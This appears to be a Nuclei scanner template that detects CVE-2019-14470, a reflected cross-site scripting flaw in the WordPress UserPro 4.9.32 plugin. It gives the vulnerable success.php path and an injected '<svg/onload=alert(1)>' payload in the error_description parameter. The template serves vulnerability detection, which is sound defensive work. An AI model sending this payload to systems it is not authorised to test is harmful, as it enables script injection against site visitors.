CVE-2019-14470: WordPress UserPro 4.9.32 - Cross-Site Scripting

id: CVE-2019-14470

info:
  name: WordPress UserPro 4.9.32 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress UserPro 4.9.32 is vulnerable to reflected cross-site scripting because the Instagram PHP API (v2) it relies on allows it via the example/success.php error_description parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of UserPro or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9815
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14470
    - http://packetstormsecurity.com/files/154206/WordPress-UserPro-4.9.32-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/9815
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14470
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14470
    cwe-id: CWE-79
    epss-score: 0.30592
    epss-percentile: 0.96573
    cpe: cpe:2.3:a:instagram-php-api_project:instagram-php-api:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "instagram-php-api_project"
    product: "instagram-php-api"
  tags: cve,cve2019,wordpress,xss,wp-plugin,wpscan,packetstorm,instagram-php-api_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/userpro/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=%3Csvg/onload=alert(1)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205306fa74f5b9c8e3ade9415b13f7771a7df2cf0a449848a3907d81a02c0478dd02210097bc760248ed23fe78e76e21315a1510b73d603c1ec6a8b4a2ea40fd8555a379:922c64590222798bb761d5b6d8e72950